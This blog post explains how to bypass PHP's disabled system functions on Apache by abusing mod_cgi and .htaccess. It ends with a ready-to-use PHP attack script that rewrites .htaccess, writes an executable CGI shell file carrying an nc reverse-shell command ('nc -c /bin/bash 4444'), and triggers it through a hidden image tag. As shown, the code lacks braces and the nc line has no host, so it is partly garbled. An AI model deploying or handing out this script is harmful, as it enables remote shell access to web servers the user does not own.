Bypass PHP system functions disabled via mod_cgi

July 22, 2016 • Security


1. apache环境
2. mod_cgi已启用
3. htaccess的文件必须被允许
4. 你必须能够写入文件



What is mod_cgi?

CGI stands for common gateway interface. It allows a web server to interact with executable files. That means you could write a web application in C, perl or python. Even web apps consisting entirely of shell scripts are possible. You can also run PHP as CGI binary instead of as a module.

What are htaccess files?

Apache supports so called virtual hosts. They are often used to run multiple websites/ sub domains on a single machine. Inside those vhost files you can change multiple settings like the sites web root or specific options for apache modules. Sometimes in a shared hosting environment you want to allow users to customize their website as much as possible without them having the ability to change settings for other users on the same host. That’s where htaccess files come in handy. They let you change a lot of vhost settings on a per-directory base. Usually it’s better (and faster) to do this directly in the virtual host files if you have access to them.

How do we exploit it?

With that knowledge how can we exploit this to get system shell access even though it’s disabled in PHP? First of all we have to check if all of the above requirements are met. As I said above more often than not it is not the case. But if we are lucky and everything is writable / enabled we can try to exploit it. What we’re trying to do is this:

We want to be able to execute CGI scripts in our current directory. This is done with Options +ExecCGI inside a htaccess file. Mod_cgi must be able to differentiate between actual CGI scripts and other files. For this purpose we have to specify an extension that it recognizes. It can be any extension you want, like .dizzle. We do this with AddHandler cgi-script .dizzle in the .htaccess file. We are now able to upload a shell script with the ending .dizzle and make it executable with the php command chmod('shell.dizzle',0777). When there’s output from our script we have to make sure to set a header with the content type first, otherwise apache will throw a statuscode 500 error. We do this simply with echo -ne "Content-Type: text/htmlnn" as first output of our shellscript. After that you can do pretty much everything you can do with a normal shellscript.


$cmd = "nc -c '/bin/bash' 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
if (!isset($_GET['checked']))
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
        echo "Error. All of the above must be true for the script to work!"; //abort if not
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script



Archives QR Code
QR Code for this page
Tipping QR Code